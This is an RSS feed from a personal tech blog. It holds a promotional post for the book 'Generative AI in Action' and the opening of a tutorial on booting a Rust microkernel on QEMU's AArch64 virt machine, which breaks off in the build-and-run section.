<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Amit Bahree&#39;s (useless?) insight!</title>
    <link>/</link>
    <description>Recent content on Amit Bahree&#39;s (useless?) insight!</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Fri, 06 Mar 2026 00:00:00 +0000</lastBuildDate><atom:link href="/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>🎉Announcing My New Book: Generative AI in Action📚</title>
      <link>/post/2024/10/book-release-genai-in-action/</link>
      <pubDate>Mon, 16 Sep 2024 00:00:00 +0000</pubDate>
      
      <guid>/post/2024/10/book-release-genai-in-action/</guid>
      <description>&lt;p&gt;In today&amp;rsquo;s rapidly evolving tech world, mastering &lt;strong&gt;Generative AI&lt;/strong&gt; isn&amp;rsquo;t just an advantage—it&amp;rsquo;s a necessity. Are you ready to harness its power to transform your business and solve real-world challenges? I&amp;rsquo;m excited to announce that my new book, &lt;em&gt;&lt;strong&gt;Generative AI in Action&lt;/strong&gt;&lt;/em&gt;, is now available in print and ebook formats from &lt;a
	
		href = &#34;https://www.manning.com/books/generative-ai-in-action&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Manning Publications
	&lt;/span&gt;
&lt;/a&gt;. 📖&lt;/p&gt;
&lt;h3 id=&#34;special-launch-offer-&#34;&gt;Special Launch Offer 🌟&lt;/h3&gt;
&lt;p&gt;As a thank-you to my early supporters, I&amp;rsquo;m offering an exclusive discount. Use the code &lt;strong&gt;pbbahree&lt;/strong&gt; at checkout to receive &lt;strong&gt;45% off&lt;/strong&gt; your purchase of &lt;em&gt;Generative AI in Action&lt;/em&gt; in all formats (valid through Sept. 30, 2024)!&lt;/p&gt;
&lt;p&gt;Get your discounted copy &amp;#x1f449; &lt;a
	
		href = &#34;http://mng.bz/D9By&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		» here «
	&lt;/span&gt;
&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Bahree-HI.png&#34; alt=&#34;Cover of Generative AI in Action&#34;/&gt;
        &lt;figcaption&gt;Cover of Generative AI in Action&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;why-you-should-read-generative-ai-in-action-&#34;&gt;Why You Should Read &lt;em&gt;Generative AI in Action&lt;/em&gt; ✨&lt;/h3&gt;
&lt;h4 id=&#34;comprehensive-coverage&#34;&gt;Comprehensive Coverage&lt;/h4&gt;
&lt;p&gt;This book offers an in-depth introduction to Generative AI, covering foundation models, large language models (#LLMs), small language models (#SLMs), and practical applications. From the basics to advanced topics like prompt engineering, &lt;em&gt;Generative AI in Action&lt;/em&gt; provides everything you need to start building and scaling AI solutions. Whether you&amp;rsquo;re a beginner or a seasoned professional, you&amp;rsquo;ll find valuable insights to accelerate your AI journey.&lt;/p&gt;
&lt;h4 id=&#34;real-world-examples&#34;&gt;Real-World Examples&lt;/h4&gt;
&lt;p&gt;Discover how enterprises across industries are leveraging Generative AI to innovate and solve complex problems. Whether it&amp;rsquo;s improving customer engagement or optimizing operations, the practical examples provided can be directly applied to your projects for immediate impact.&lt;/p&gt;
&lt;h4 id=&#34;hands-on-techniques&#34;&gt;Hands-On Techniques&lt;/h4&gt;
&lt;p&gt;Dive into step-by-step guides and hands-on examples for integrating AI models into your workflows. Learn techniques such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Prompt Engineering&lt;/strong&gt;: Craft effective prompts to unlock the full potential of AI models like GPT-4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Retrieval-Augmented Generation (RAG)&lt;/strong&gt;: Enhance your AI models with real-time data for improved accuracy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Model Adaptation&lt;/strong&gt;: Fine-tune AI models to meet your organization&amp;rsquo;s specific needs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;ethical-ai-and-best-practices&#34;&gt;Ethical AI and Best Practices&lt;/h4&gt;
&lt;p&gt;As AI becomes more critical in decision-making, understanding its ethical implications is crucial. &lt;em&gt;Generative AI in Action&lt;/em&gt; covers topics like privacy, security, and bias mitigation—ensuring your AI deployments are fair, transparent, and aligned with your organizational values.&lt;/p&gt;
&lt;h4 id=&#34;expert-insights&#34;&gt;Expert Insights&lt;/h4&gt;
&lt;p&gt;Drawing from my experience helping build the Azure AI platform, I share insider knowledge on leveraging the latest advancements in AI for your projects. This book provides you with the tools to make the most of cutting-edge technologies like large language models (LLMs) and small language models (SLMs).&lt;/p&gt;
&lt;h3 id=&#34;advanced-techniques-covered-in-the-book-&#34;&gt;Advanced Techniques Covered in the Book 🔥&lt;/h3&gt;
&lt;p&gt;Beyond the basics, &lt;em&gt;Generative AI in Action&lt;/em&gt; delves into advanced techniques essential for mastering Generative AI in modern enterprise environments:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Prompt Engineering&lt;/strong&gt;: Strategies like zero-shot, few-shot, and many-shot learning, along with chain-of-thought reasoning, to optimize AI outputs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Retrieval-Augmented Generation (RAG)&lt;/strong&gt;: Combine retrieval-based methods with generative models for real-time, relevant data integration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Model Adaptation and Fine-Tuning&lt;/strong&gt;: Customize generative models to specific tasks using techniques such as low-rank adaptation and reinforcement learning from human feedback (RLHF).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chatting with Your Data&lt;/strong&gt;: Build AI-powered chat systems that interact with enterprise data using vector databases and retrieval techniques.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scaling and Production Deployment&lt;/strong&gt;: Strategies for scaling AI solutions while ensuring performance, reliability, and compliance with enterprise standards.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Evaluations and Benchmarks&lt;/strong&gt;: Learn to evaluate and benchmark AI models using traditional metrics and cutting-edge frameworks.&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- ### A Special Thanks 🙌

A huge thank you to [Eric Boyd](https://www.linkedin.com/in/emboyd/), CVP Engineering, AI Platform at Microsoft, for writing the foreword for *Generative AI in Action*. His insights into AI&#39;s transformative power help set the stage for how this technology will shape the future.

I&#39;d also like to express my gratitude to [Wee Hyong Tok](https://www.linkedin.com/in/weehyongtok/), my technical editor. His expertise in AI and data has been invaluable in ensuring that this book is technically robust and accessible for developers, data scientists, and enterprise leaders. --&gt;
&lt;h3 id=&#34;explore-the-github-repository-&#34;&gt;Explore the GitHub Repository 💾&lt;/h3&gt;
&lt;p&gt;For those eager to dive into the code, the book has a companion GitHub repository filled with examples and projects to get you started. Check it out at &lt;a
	
		href = &#34;https://bit.ly/GenAIBook&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bit.ly/GenAIBook
	&lt;/span&gt;
&lt;/a&gt;. Explore the code, experiment, and start building your AI-powered solutions today.&lt;/p&gt;
&lt;h3 id=&#34;get-your-copy-today-&#34;&gt;Get Your Copy Today! 🛒&lt;/h3&gt;
&lt;p&gt;Don&amp;rsquo;t miss this opportunity to lead the AI revolution within your organization. Order your copy of &lt;em&gt;&lt;a
	
		href = &#34;http://mng.bz/D9By&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt;&lt;/em&gt; and use the code &lt;strong&gt;pbbahree&lt;/strong&gt; to receive &lt;strong&gt;45% off&lt;/strong&gt; (valid through Sept. 30, 2024). Transform your organization&amp;rsquo;s AI capabilities today!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;With gratitude&lt;/em&gt; 💚&lt;/p&gt;
&lt;p&gt;Amit Bahree.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;In the world of AI, there&amp;rsquo;s a thrill,&lt;/em&gt;&lt;br&gt;
&lt;em&gt;With &amp;ldquo;Generative AI in Action,&amp;rdquo; you&amp;rsquo;ll skill.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;From prompts to fine-tuning,&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Your projects are blooming,&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Grab your copy, and master the drill!&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
</description>
    </item>
    
    <item>
      <title>Building a microkernel in Rust (Part 1): Foundations, booting on bare metal</title>
      <link>/post/2026/02/building-microkernel-part1-foundations-boot/</link>
      <pubDate>Wed, 25 Feb 2026 00:00:00 +0000</pubDate>
      
      <guid>/post/2026/02/building-microkernel-part1-foundations-boot/</guid>
      <description>&lt;p&gt;&lt;strong&gt;5-Part Series&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a
	
		href = &#34;/post/2026/02/building-microkernel-part0-why-build-an-os/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 0: Why build an OS from scratch?
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 1 (this): Foundations&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 2: Communication&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 3: Concurrency&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 4: Memory and beyond&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;GitHub Repository&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/rust-microkernel&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/rust-microkernel
	&lt;/span&gt;
&lt;/a&gt; — full source code and build scripts&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Docker Image&lt;/strong&gt;: &lt;a
	
		href = &#34;https://hub.docker.com/r/amitbahree/rust-microkernel&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		amitbahree/rust-microkernel
	&lt;/span&gt;
&lt;/a&gt; — prebuilt dev environment with Rust, QEMU, and source code&lt;/p&gt;&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;You&amp;rsquo;re about to write code that runs with nothing underneath it.&lt;/p&gt;
&lt;p&gt;No operating system. No standard library. No &lt;code&gt;println!&lt;/code&gt;. No heap. No file descriptors. No threads. Just you, a CPU, and some RAM.&lt;/p&gt;
&lt;p&gt;That probably sounds terrifying. Or maybe thrilling. Honestly, it&amp;rsquo;s both. The first time you get a bare-metal kernel to print a single character to a serial port, you&amp;rsquo;ll stare at your terminal for a solid minute. One letter. It takes days of work. And it feels like you&amp;rsquo;ve built a cathedral.&lt;/p&gt;
&lt;p&gt;This post walks through everything that happens between &amp;ldquo;the CPU wakes up&amp;rdquo; and &amp;ldquo;a message appears on screen.&amp;rdquo; We&amp;rsquo;ll go instruction by instruction through the assembly boot code, byte by byte through the UART driver, and concept by concept through the design decisions that make it all work. By the end, you&amp;rsquo;ll have a bootable AArch64 kernel running in QEMU that prints to a virtual serial port, built on a clean, platform-agnostic kernel architecture.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s get to it.&lt;/p&gt;
&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;In this part, we boot a minimal Rust kernel on the AArch64 QEMU &lt;code&gt;virt&lt;/code&gt; machine. We write ARM assembly to set up a stack, zero the BSS, drop from EL2 (hypervisor level) to EL1 (kernel level), enable floating-point registers, and jump into Rust. The Rust side implements a PL011 UART driver using memory-mapped I/O, wraps it behind a &lt;code&gt;Logger&lt;/code&gt; trait for platform abstraction, and calls into a shared kernel entry point. The whole thing compiles to a single ELF binary that QEMU loads directly.&lt;/p&gt;
&lt;h2 id=&#34;1-what-bare-metal-actually-means&#34;&gt;1. What &amp;ldquo;bare metal&amp;rdquo; actually means&lt;/h2&gt;
&lt;p&gt;When you write a normal Rust program (or any program using a higher level language for that matter), there&amp;rsquo;s a tower of software beneath you. Think about what happens when you call &lt;code&gt;println!(&amp;quot;hello&amp;quot;)&lt;/code&gt;. First, Rust&amp;rsquo;s standard library formats the string and then calls the OS to write it to stdout. Next, the OS looks up your process&amp;rsquo;s file descriptor table, finds that stdout points to a terminal, copies your bytes into a kernel buffer, and eventually, a terminal emulator reads those bytes and draws glyphs on screen. And to make all of this work, sitting below all of that, is the firmware which already tested the RAM, configured the CPU caches, initialized the PCI bus, and handed control to the bootloader.&lt;/p&gt;
&lt;p&gt;Guess what? We&amp;rsquo;re removing all of that. 🤖&lt;/p&gt;
&lt;p&gt;Our code is the first thing that runs after the CPU wakes up. There&amp;rsquo;s no runtime to set up the stack. No OS to provide virtual memory. No firmware to initialize the UART (well, QEMU helps us a little here, but we will ignore that for now). We are the bottom of the stack. Everything above us, we have to build.&lt;/p&gt;
&lt;p&gt;In Rust terms, this means two attributes at the top of every bare-metal crate:&lt;/p&gt;
&lt;figure id=&#34;bare-metal-attrs&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#![no_std]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#![no_main]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Bare-metal crate attributes&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;#![no_std]&lt;/code&gt;&lt;/strong&gt; tells the compiler: don&amp;rsquo;t link the standard library. The standard library (&lt;code&gt;std&lt;/code&gt;) gives you &lt;code&gt;Vec&lt;/code&gt;, &lt;code&gt;String&lt;/code&gt;, &lt;code&gt;Box&lt;/code&gt;, &lt;code&gt;println!&lt;/code&gt;, file I/O, threads, and networking. All of those features need an underlying operating system. &lt;code&gt;Vec&lt;/code&gt; needs a heap allocator, which needs &lt;code&gt;mmap&lt;/code&gt; or &lt;code&gt;brk&lt;/code&gt; from the OS. &lt;code&gt;println!&lt;/code&gt; needs stdout, which needs file descriptors, which need a kernel. Since we ARE the kernel, there&amp;rsquo;s nothing beneath us to provide those services.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;no_std&lt;/code&gt;, we only get &lt;code&gt;core&lt;/code&gt;: basic types, traits, iterators, &lt;code&gt;Option&lt;/code&gt;, &lt;code&gt;Result&lt;/code&gt;, math operations. Things that need zero OS support.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;#![no_main]&lt;/code&gt;&lt;/strong&gt; is subtler. Normally, when you compile a Rust binary, the compiler generates a hidden entry point that sets up the stack, initializes the heap allocator, configures panic handling, spawns the main thread, and then calls your &lt;code&gt;main()&lt;/code&gt; function. None of that machinery exists on bare metal. We handle all initialization ourselves, in assembly, and we tell the compiler not to look for a standard &lt;code&gt;main&lt;/code&gt; entry point.&lt;/p&gt;
&lt;h2 id=&#34;2-whats-an-elf&#34;&gt;2. What&amp;rsquo;s an ELF?&lt;/h2&gt;
&lt;p&gt;Before we dive into boot code, a quick concept: when you compile a Rust program (or C, or anything that targets a Unix-like system), the output isn&amp;rsquo;t just a flat blob of machine code. It&amp;rsquo;s a structured file called an &lt;strong&gt;ELF&lt;/strong&gt; (Executable and Linkable Format).&lt;/p&gt;
&lt;p&gt;An ELF file is like a shipping manifest. It says: &amp;ldquo;here&amp;rsquo;s a chunk of executable code, load it at this address. Here&amp;rsquo;s read-only data, put it over here. Here&amp;rsquo;s uninitialized data (BSS), allocate this much space and zero it. Oh, and the program starts executing at this address.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;When we build our kernel, cargo and the linker produce an ELF binary. QEMU knows how to read ELF files, so it parses the headers, loads each section to the right memory address, and sets the program counter to the entry point (&lt;code&gt;_start&lt;/code&gt;). On real hardware without an ELF-aware loader, you&amp;rsquo;d strip the ELF headers and produce a raw binary. But QEMU makes our lives easier.&lt;/p&gt;
&lt;p&gt;The important sections in our ELF:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;.text.boot&lt;/code&gt;&lt;/strong&gt;: The very first code that runs (our assembly entry point)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;.text&lt;/code&gt;&lt;/strong&gt;: The rest of our compiled Rust code&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;.rodata&lt;/code&gt;&lt;/strong&gt;: Read-only data (string constants, lookup tables)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;.data&lt;/code&gt;&lt;/strong&gt;: Initialized mutable data (statics with non-zero initial values)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;.bss&lt;/code&gt;&lt;/strong&gt;: Uninitialized data (statics that start at zero, just a size, no actual bytes in the file)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;3-the-qemu-virt-machine&#34;&gt;3. The QEMU virt machine&lt;/h2&gt;
&lt;p&gt;We&amp;rsquo;re targeting &lt;code&gt;qemu-system-aarch64 -machine virt&lt;/code&gt;, which is QEMU&amp;rsquo;s generic ARM virtual machine. It doesn&amp;rsquo;t model any specific real-world board. Instead, it gives us a clean, well-documented set of virtual hardware:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Component&lt;/th&gt;
          &lt;th&gt;Details&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;CPU&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;Cortex-A53 (emulated), 64-bit ARMv8-A&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;RAM&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;256 MB starting at &lt;code&gt;0x4000_0000&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;UART&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;PL011 at &lt;code&gt;0x0900_0000&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Interrupt controller&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;GICv2 (Generic Interrupt Controller)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;strong&gt;Timer&lt;/strong&gt;&lt;/td&gt;
          &lt;td&gt;ARM Generic Timer (CNTP)&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Here&amp;rsquo;s the QEMU command we use to run our kernel:&lt;/p&gt;
&lt;figure id=&#34;qemu-cmd&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;qemu-system-aarch64 &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  -machine virt,gic-version&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  -cpu cortex-a53 &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  -m 256M &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  -nographic &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  -serial mon:stdio &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  -kernel dist/virt/os-aarch64-virt.elf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;QEMU launch command for AArch64 virt&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Let&amp;rsquo;s break  down what each of these mean:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-machine virt,gic-version=2&lt;/code&gt;&lt;/strong&gt;: Use the generic ARM virtual machine with a GICv2 interrupt controller. GICv2 is simpler than GICv3 and sufficient for single-core work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-cpu cortex-a53&lt;/code&gt;&lt;/strong&gt;: Emulate a Cortex-A53 core. This is the same CPU in the Raspberry Pi Zero 2 W.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-m 256M&lt;/code&gt;&lt;/strong&gt;: Give the machine 256 MB of RAM.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-nographic&lt;/code&gt;&lt;/strong&gt;: Don&amp;rsquo;t open a GUI window. We&amp;rsquo;re using serial output, not a display.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-serial mon:stdio&lt;/code&gt;&lt;/strong&gt;: Connect the virtual serial port to our terminal&amp;rsquo;s stdin/stdout. This is how we see output.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-kernel dist/virt/os-aarch64-virt.elf&lt;/code&gt;&lt;/strong&gt;: Load our ELF binary directly. QEMU parses the ELF, loads sections to the right addresses, and jumps to &lt;code&gt;_start&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The beauty of &lt;code&gt;virt&lt;/code&gt; is its simplicity. No GPU firmware to deal with, no board-specific quirks, no SD card flashing. Build, run, see output. The iteration cycle is seconds.&lt;/p&gt;
&lt;h2 id=&#34;4-setup&#34;&gt;4. Setup&lt;/h2&gt;
&lt;p&gt;You need Rust nightly (for bare-metal features like &lt;code&gt;no_std&lt;/code&gt; binaries) and the AArch64 bare-metal target. Our repository includes a &lt;code&gt;rust-toolchain.toml&lt;/code&gt; that handles most of this:&lt;/p&gt;
&lt;figure id=&#34;toolchain&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-toml&#34; data-lang=&#34;toml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[toolchain]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;channel = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;nightly&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;components = [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;llvm-tools-preview&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rust-src&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;targets = [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;x86_64-unknown-none&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;aarch64-unknown-none&amp;#34;&lt;/span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;rust-toolchain.toml&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;If you&amp;rsquo;re setting up from scratch:&lt;/p&gt;
&lt;figure id=&#34;setup-cmds&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Install Rust nightly with AArch64 target&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustup default nightly
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustup target add aarch64-unknown-none
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rustup component add llvm-tools-preview rust-src
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Install QEMU (Linux)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install qemu-system-aarch64
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Install QEMU (macOS)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;brew install qemu
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Clone the repository&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git clone https://github.com/bahree/rust-microkernel.git
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;cd&lt;/span&gt; rust-microkernel&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Install Rust toolchain and QEMU&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id=&#34;5-build-and-run&#34;&gt;5. Build and run&lt;/h2&gt;
&lt;figure id=&#34;build-run&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./scripts/build-aarch64-virt.sh demo-ipc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./scripts/run-aarch64-virt.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Build and run the AArch64 virt kernel&lt;/strong&gt;
